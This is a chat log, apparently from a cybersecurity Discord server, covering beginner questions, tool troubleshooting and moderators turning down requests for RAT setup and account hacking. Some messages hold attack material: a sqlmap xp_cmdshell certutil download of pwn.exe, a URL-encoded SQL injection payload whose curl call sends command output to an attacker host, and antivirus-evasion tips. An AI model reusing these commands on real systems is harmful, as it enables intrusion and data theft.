thanks for the responses <3

[fathom cosmos]

Anyone has any experience creating an instagram bot?

[maiden violet]

Yes

[quasi berry]

#📜・rules

[maiden violet]

read the #📜・rules

[tame spruce]

I need help with my wifite tool (ModuleNotFoundError: No module named 'wifite.wifite')

[maiden flare]

Hey guys
I am using a windows laptop for starting cybersecurity
do i need to use linux itself like dual booting or use virtual box or can i just do everything in windows itself
(i am doing CTFs and bugbounty , HTB and TryHackMe)

[chilly merlin]

https://youtu.be/Ny8j2iVlX_s?feature=shared

[chilly merlin]

Nope

Many tool available in kali

But u can use wsl

Or vm

[maiden flare]

so I should use Kali as it has many tools already (VM) which are not available in windows?

[chilly merlin]

Depends on tool u work with most

I prefer vm cuz it keeps shit seperate

[maiden flare]

ohh ok ok like that tx so much

[chilly merlin]

Xddd

[tame spruce]

idk but prob i installed something wrong but it's not that, the wifite works fine except for today i will just check my history again and see if that helps if not i will get a different machine or reset this one

[chilly merlin]

Delete and reinstall

[sour badger]

@uncut wedge (don’t kill me)…. Boot using Linux as Windows sucks

[quasi berry]

You mean dual-boot sucks?

[sour badger]

I just HATEEEE windows

[tame spruce]

I just deleted it and going to download again start from 0

[sour badger]

I hate window everything

[quasi berry]

I still use it I shouldn't; I am gonna get a laptop and use Arch or smth

[sour badger]

I’m on the fence abt arch

Idk yet

Not bc the install

Just bc I looked at so many others

Like I may do qubes

Or the kodachi

Or tails

[quasi berry]

I have yet to use it so when I do, I'll deep dive into it and stuff

[quasi berry]

Kodachiiiii

[sour badger]

You like it?!

[quasi berry]

Yeah it's one of them which I like

[sour badger]

Ok I’ll start there

[quasi berry]

The- The- THE WEBSITE has changed

https://cdn.discordapp.com/attachments/1226218902221230173/1271487120308961343/image.png?ex=66b78428&is=66b632a8&hm=d900a3fdb140fc6361fc7450b80ea5389252ae0f1458515c217b6cc926e5d25e&

https://cdn.discordapp.com/attachments/1226218902221230173/1271487411607572531/image.png?ex=66b7846e&is=66b632ee&hm=b70b056306efd137712dd114cf580fcfddfa90a6a1218f2dead901b4a5833c17&

I wanted to ss the bit where it compared to tails but it's gone

Lemme archive.org this shit rq

https://distrowatch.com/search.php?category=Privacy#simple

https://cdn.discordapp.com/attachments/1226218902221230173/1271488596552978462/image.png?ex=66b78588&is=66b63408&hm=40cc66c1c460021a662f58ccea1af3648f935c41ea64adcc0b38e7fd09f47e63&

[obsidian umbra]

is it me or byob don't work?

[dreamy vine]

What is the site?

[quasi berry]

:)

[lament walrus]

Yo ben

[maiden violet]

Who is this

[lament walrus]

I need a lil help

Tryna create a simple tensor cipher

[maiden violet]

https://nohello.net

[quasi berry]

Developer of Kodachi

[maiden violet]

Nice

I want to meet developer of SrhoeOS tho

[lament walrus]

For this

Do you have any ideas on how i can get it to work in python?

[maiden violet]

Just figure out how the cipher works

And then make it in code

You would need to use numpy

[quasi berry]

@lament walrus You said my name

I will develop the OS

[maiden violet]

Yay

[uncut wedge]

😦 it's oki

[uncut wedge]

😭

[maiden violet]

Wait mimi likes windows?

[maiden violet]

UwU

[lament walrus]

Yeah i wanted help from the master

[chilly merlin]

@uncut wedge

[uncut wedge]

yess i'm a windows gal

[uncut wedge]

??

[chilly merlin]

God i hate those question mark signs jus checking on u

My quest was completed

[maiden violet]

I’m a unix boi

[uncut wedge]

loll oki

i'm oki thank youu 🙂 wby

[uncut wedge]

eh

[chilly merlin]

Grinding

[uncut wedge]

grinding wheree

[chilly merlin]

Htb and portswigger

And badminton

[maiden violet]

eh~

[chilly merlin]

And company placement

[uncut wedge]

toooo much

[uncut wedge]

eh#

[maiden violet]

eh~~

[uncut wedge]

eh&

[maiden violet]

Placement India?

[chilly merlin]

Yea shitty

But dad insists

[maiden violet]

You sound like you getting on campus placement like they do in India

[chilly merlin]

Wat

U know how market is in here

[maiden violet]

Overpopulated

[chilly merlin]

Yea

No skill though

Jus trash

That's where i capitalise

[lament walrus]

Anyone know anything about gym plans 😭

Is this good 😭

Saturday - shoulders + forearms
Sunday - back + core + trapeze
Monday - legs + core
Wednesday - chest + forearms
Thursday - bicep + triceps

[maiden violet]

I heard at my friend’s uni people were hired at Apple who knew nadda

[chilly merlin]

India peeps at foreign are valued more but not here

Good workers in their opinion

[maiden violet]

They were hired at Apple India and knew nothing

My friend is Indian

[chilly merlin]

I know bruh

They are in big college that's it

No skill whatsoever

Companies will realise eventually

[maiden violet]

Some of em had no GitHub

Either they were some sort of DEI quota hire

[chilly merlin]

That isn't a neccesity

[maiden violet]

Or they had connections

[chilly merlin]

Yep money

I need to crawl my way up

Tough competition

[maiden violet]

Yeah

I hate the quota hires ngl

[chilly merlin]

Quota

U mean management

[maiden violet]

No?

[chilly merlin]

Then what quota means

[maiden violet]

Companies have a internal quota to show that they promote diversity even if they do not

[chilly merlin]

Never heard of it

Any ways I'll try my best

[tame spruce]

I just got an Error that says Target did not appear after 60 seconds, stopping appear

[chilly merlin]

Wifi off maybe

[tame spruce]

it's on i wanted to send an screenshot to show what i see but i can't

[chilly merlin]

Imagur

[tame spruce]

what's that?

[chilly merlin]

Wait what

[maiden violet]

https://Imgur.com

[frail prism]

hi i need help with cracking pdf file, why? i got wrong password and can't ask for correct one I wrote but they don't reply to my messages

[tame spruce]

https://imgur.com/a/z0wR7wF

that's so helpful

[tame spruce]

thank you

[upbeat veldt]

Have you googled this first?

[frail prism]

i tried but no asnwers at all

[chilly merlin]

Jtr

?

Does the job right

If i recall correctly

[upbeat veldt]

What did you try googling?

[chilly merlin]

Hmm

[frail prism]

nvm

[tame spruce]

I'm trying to get it done at least once i need it for a project that's why

[chilly merlin]

Did u take a look a forums

[tame spruce]

not sure what's that but i searched it in git hub if that's what you mean

[chilly merlin]

Yep

Something must be wrong in wifi or in monitur mode

[tame spruce]

i have seen few other since 2013 struggling but no anwsers

[chilly merlin]

Hmm

Better to use other tool then

Since Dev are unable to solve

Or use lower version

[tame spruce]

that's what i'm thinking about but getting too late and i have to communicate with my professor and get approve for it and kind of presenting on Wednesday i will try the lower version before i give up

[chilly merlin]

Yep

[tame spruce]

thank you i really appreciate the help

[chilly merlin]

Ngl i didn't do shit

Jus yapped

Yappa yappa yappa

[tame spruce]

lol

you did what you can

[lament walrus]

anyone want to test the ctf i made?

its crypto :D

let me know if its too simple

because i can turn up the complexity

dm me if interested

(may respond a bit late)

[uncut wedge]

can you expand your question please 🙂

didn't fully understand what you mean

lolll

[uncut wedge]

i can't really suggest any tools or methods without checking the environment first. if it's a commercial pentest you need to simulate the attack first before doing anything crazy like running linpeas 🙂 these scripts and tools often hammer a lot of different areas within the system and that's instant death if the target has a av/soar

if it's an ad, you can use bloodhound for the relationship tree first. bh is pretty stealthy so you can try running it in production

[halcyon galleon]

Hello

[wooden anvil]

thaaaankyyy i’m barely surviving uni and i just want to get things over with grrraaahh

i appreciate you

yall

[chilly merlin]

bring your own drivers and exploit them

[chilly merlin]

hmm not rlly i just pull one randomly and start working around it

[lusty latch]

i need to hack something

help me

please

[boreal solstice]

We dont do anything unethical im sorry

[chilly merlin]

Illegal activities not encouraged

If it is

[shell sinew]

#📜・rules

[quasi berry]

soo like kidnaps you, you're a keeper, and I miss you sm rn

[chilly merlin]

the fortnite pfp😭

[drowsy bronze]

hello

i need help

please

im begging

[boreal solstice]

Wassup

[drowsy bronze]

can i dm u

it wont let me upload images

[boreal solstice]

Use imgur

[drowsy bronze]

okay

so

i need help

i have an rdp server

[boreal solstice]

Remote desktop protocol?

[drowsy bronze]

i need help setting up

this builder

here are my settings for the builder

https://imgur.com/a/f9AWuSc

https://imgur.com/a/p1TGTbj

[boreal solstice]

Mmm chat a lil more so you level up

[drowsy bronze]

https://imgur.com/a/KIlzyRx

[boreal solstice]

Dont spam

[drowsy bronze]

ty

im sorry

[boreal solstice]

Tell me how was you night

[drowsy bronze]

pretty good

its 1:46 rn

am

but thats normal

[boreal solstice]

You still up?

[drowsy bronze]

my school starts in 2 days

[boreal solstice]

Lol

[drowsy bronze]

yes

ofc

im a freshman

in 2 days

[boreal solstice]

Nice

[drowsy bronze]

ive been studying for pre-sat

no

im the one talking

bc

im the one that needs leveling up

so

how much

do i have to level up

in order to

get help

from u guys

[boreal solstice]

Send an image yes

[drowsy bronze]

huhh

[boreal solstice]

Dont spam try put the words together ok?

[drowsy bronze]

okay i understand

but wont that be slower to level up

what level is image perms

[boreal solstice]

Not really you should level up any minute now

[drowsy bronze]

lets goo

[boreal solstice]

Ok now send imgur

So its embeded

[drowsy bronze]

https://imgur.com/a/f9AWuSc
https://imgur.com/a/p1TGTbj
https://imgur.com/a/KIlzyRx

here are my settings for the builder

[boreal solstice]

What are you trying to do

[drowsy bronze]

setup a rat

[boreal solstice]

…. Is this unethical

[drowsy bronze]

wait

look at my roles bro

i mean

😭

[boreal solstice]

Set up a rat we cant help you do that have you read the #📜・rules

[drowsy bronze]

dude

what the flip

do u even accept black hat hackers

in here or would i just get a ban for that

[boreal solstice]

Not here we dont do unethical stuff here

Even blackhat follows the rules

[drowsy bronze]

u urself are labeled as black hat hacking

oh noo

its just

to test stuff

i am actually testing their program

its ethical

[boreal solstice]

https://tenor.com/view/side-eye-dog-suspicious-look-suspicious-doubt-dog-doubt-gif-23680990

[drowsy bronze]

yes i am just testing the code

that is my job

i test code

wellll

okay what flip theres the doxbin emoji

but

dw

[boreal solstice]

Its unethical we cant do that here

[drowsy bronze]

its ethical

[drowsy bronze]

uh

okay

wtv

[boreal solstice]

?

[drowsy bronze]

u guys have a good day then

[boreal solstice]

Jeez

[drowsy bronze]

👀

yes sir

o7?

[quasi berry]

Now why would we do that? 🤨

[drowsy bronze]

BECAUSE

[boreal solstice]

Rightly

[drowsy bronze]

okay first

theres a black hat role

second

theres a doxbin icon emoji

[boreal solstice]

Even blackhats follow the rules

[drowsy bronze]

this is so

[quasi berry]

No, don't "BECAUSE" me 😤

[drowsy bronze]

white hack

[boreal solstice]

https://tenor.com/view/tom-hiddleston-loki-this-guy-gif-10466991

[drowsy bronze]

in the description of black hat role

[quasi berry]

We don't help with anything black hat

[drowsy bronze]

it says

"you are unethical and dont womsething something idrk"

whatever

[quasi berry]

People can join and use the role, doesn't mean they can come and ask for help setting up a C2 and ratting a bunch of people's IoT devices

[boreal solstice]

.. i just said they can use the role but follow the rules

[drowsy bronze]

okay we split profit 50/50?

[boreal solstice]

No

[drowsy bronze]

jkjkjkjk

[boreal solstice]

…..

[drowsy bronze]

okay ima go

goodbye

wait dont ban me though

this is a good server

ill bump this server

and follow the rules

[boreal solstice]

Yes it is please stay ethical

Go for it!

[drowsy bronze]

how to bump server

[boreal solstice]

/bump in #👊・server-bump channel

Have to wait a minute the bumps is every two hours u got 1hr left to bump it

Dont 😭

[quasi berry]

Yk there are black hats here which respect the rules.. it would be lovely if you could respect them too

[drowsy bronze]

okay okay bro

leave this

[quasi berry]

As a mod here, I will do that of my own volition :)

[drowsy bronze]

bro

i mean

i respect the rules

i learned from my mistakes

so

[quasi berry]

Thank you

[drowsy bronze]

lets forgive and forget

and leave this in the past

[quasi berry]

You're good :)

Dw

[boreal solstice]

All good 🙏

[uncut wedge]

even for running bh, you need to disable the av in most cases because it's still an executable and antiviruses don't like it. they either will remove the executable or block the execution. you can try running it in \users\public or %TEMP% as those two are sometimes whitelisted

[uncut wedge]

ahhh good luckkk 💜

[dreamy vine]

Who here does app developing for pc? ?

[uncut wedge]

again, depends on the av that's there. bitdefender and norton are notorious for catching malicious processes running in memory. i think now many avs do it, you'll need to look for whitelisted dirs nonetheless

also don't forget to check privileges of the foothold you are in

privileges like seimpersonate can be exploited if certain conditions are met

[dreamy vine]

Need a app developer

[maiden violet]

https://nohello.com

[dreamy vine]

U didn’t

I didn’t

[lament walrus]

Anyone willing to play test my ctf?

its the first ever CTF I've made :D

Its crypto

And very phun

[dreamy vine]

What’s CTF

[lament walrus]

its a challenge

It stands for capture the flag

For crypto ctfs the flag is encrypted

You need to decrypt it and get the flag

Like a game

I made one and need some people to try to solve it

[tame spruce]

Can i run wifite with this one i have been trying for days and kinda running out of time should order a different one or which one would you recommend I JUST WANT TO GET IT DONE.

https://www.netgear.com/support/product/a8000/

[chilly merlin]

Hmm

[tame spruce]

it support monitor mode but not sure about packet injection

[chilly merlin]

I use tp link

[tame spruce]

i will look for it rn

[halcyon galleon]

I need tutorial on python

[lusty latch]

yo its not unethical hear me out pls

[quasi berry]

What is it?

[lusty latch]

i need you to wipe out my information

from the board

[quasi berry]

What board?

[lusty latch]

u got insta?

[quasi berry]

Why?

[lusty latch]

i will tell you everything there

pls help me

[quasi berry]

We can discuss it here, or not at all

[lusty latch]

i dmed you

??

[lament walrus]

CS50 Harvard

[visual vortex]

thats probably the best one

[tame spruce]

I found this one at Best Buy I can pick up today but is the same or a different one (TP-Link - AX1800 Nano Wi-Fi 6 Wireless USB Adapter) @chilly merlin

[subtle tundra]

is there a national public data records breach download or atleast checker for myself?

[zenith depot]

Hey, can someone tell me wich study plan should i follow in tryhackme before i try to go into the red teaming path?

[shell sinew]

https://tryhackme.com/r/hacktivities

you got roadmap here

[zenith depot]

ooooh ok

ty

[shell sinew]

https://tenor.com/view/jjba-jojos-bizarre-adventure-anime-smile-i-got-you-gif-17818161

[chilly merlin]

Check whether it support monitor and packet injection and compatible with linux mainly kali

[tame spruce]

I’m at Best Buy they all are windows just like what I had so 100% gonna order the panda one it’s arriving

[chilly merlin]

Alr

[tame spruce]

Tmw

[tame spruce]

Thank you

[chilly merlin]

Jus don't

[vapid dew]

lol

I wanna to ask

damn

[chilly merlin]

Wat

[vapid dew]

bot continue delete msg

[chilly merlin]

?

[vapid dew]

#1155967916324425839 message

[mortal nova]

hey everyone im new to cybersecurity any recommendations on what I should be focussing on in terms of basics?

[chilly merlin]

👍

[chilly merlin]

Got it

Morse

[silent smelt]

anyone help in msql i got xp_cmdshell in a window sever cant get a reverse shell

[silent smelt]

os-shell> certutil.exe -urlcache -f http://192.168.1.119/pwn.exe C:\Users\Public\pwn.exe
do you want to retrieve the command standard output? [Y/n/a] y
[23:28:40] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[23:30:10] [CRITICAL] connection timed out to the target URL

[half tusk]

is there any way to fuzz mutiple urls using ffuf ?

[half tusk]

no its fine dw

well i found a solution by trying a bash script

like this
for URL in $(<urls.txt); do ( fuff -u "${URL}/FUZZ" -w wordlist -ac ); done

lol sry

alr ill try it out

[languid sleet]

need help with understanding a dns map

[shell sinew]

https://www.hackingloops.com/dnsmap-tutorial-dns-network-mapper-information-gathering-kyb-tutorial-3/

[languid sleet]

i've got a specific example, can you take a look?

[shell sinew]

I've never used it but lemme take a look

[languid sleet]

ok ill dm you

[shell sinew]

ok

[analog siren]

i just got a flipper zero and dont know where to start can someone help also when i insert the microSD card it wont fully go in it i have to hold it down

[dreamy vine]

lost my disocrd account

[sweet bluff]

pls fucking help me theres chrome extension highjakcere cant delete tried deletnig it regedit wont work, rank my shit in safe mode won't work either what do i do

[chrome schooner]

Hey, I need some help with a reverse shell. I'm able to execute commands using xp_cmdshell, and I can succesfully retrieve command results via an OOB method: '%3b%20EXEC%20master.dbo.xp_cmdshell%20'for%20%2ff%20%25i%20in%20(''powershell.exe%20whoami'')%20do%20curl%20http%3a%2f%2fMY_IP%2f%3fid%3d%25i%3b--%20
But writing to a file, or downloading anything doesnt work, ex: '%3b%20EXEC%20master.dbo.xp_cmdshell%20'for%20%2ff%20%25i%20in%20(''powershell.exe%20echo%201337%20>%20C:\\Windows\\Temp\\foo.txt'')%20do%20curl%20http%3a%2f%2fMY_IP%2f%3fid%3d%25i%3b--%20

[uncut wedge]

try encoding the payload in b64. url encoding doesn't always work well with escape sequences

[zenith depot]

hey guys i have a question

what would be a good study plan to have the sufficient level to do the red teaming certificate from thm?

[bitter umbra]

DM me

[plucky patio]

Networking Basics
Fundamental Concepts
Security Tools
Security Policies

[mortal nova]

The Networking Basics I already have knowledge of because of my Internship at the university of Utrecht in the Netherlands as Junior NetworkAdminstrator

What do you mean by Fundamental Concept? @plucky patio

[odd relic]

I wanna learn how to make cashapp money

[tame trail]

hello ppl somebody please put me on email hacking game i mean for educational purposes only

[clever ibex]

what do you mean?

[sick swift]

Start an OF

[clever ibex]

lol

[fathom laurel]

Wdym g

[tame trail]

i want to get my targets password or change it without their notice

[fathom laurel]

Yeah well this ain't the place you wanna ask that cuz these peeps won't help ya

[tepid pivot]

theHarvester , can you help me about theHarvester how to use it and please can you explain it guys

[tame trail]

thanks what im lookings for is recommandations not assitsance in that manner ill do futher research on that

[wanton marsh]

Hey, that’s still not something that we help out with here - Please don’t ask how to do unethical things

[fleet comet]

#📜・rules

[versed spruce]

Random question: I unzipped a zip file (yep, has .zip) and for a second I saw a folder named ".AU.uj4jU.nosync" appear and then disappear which was not a file I expected to appear when unzipping the file. Should I be panicking or no? If so, what should I do?

Context: saved the file in google drive
FAQ: are my file extensions on? yes, so it's not a fake zip file

alright tysm! im currently scanning it in virus total rn (it's a big file, supposed to contain lots of images and 2 csv files)

your explanation is really clear :D

No security vendors flagged this file as malicious
Should I wait for the sandboxes or no? (sandbox option doesn't show up)

do you have any other antiviruses that you would suggest I check?

alright I'll check those out too tysm!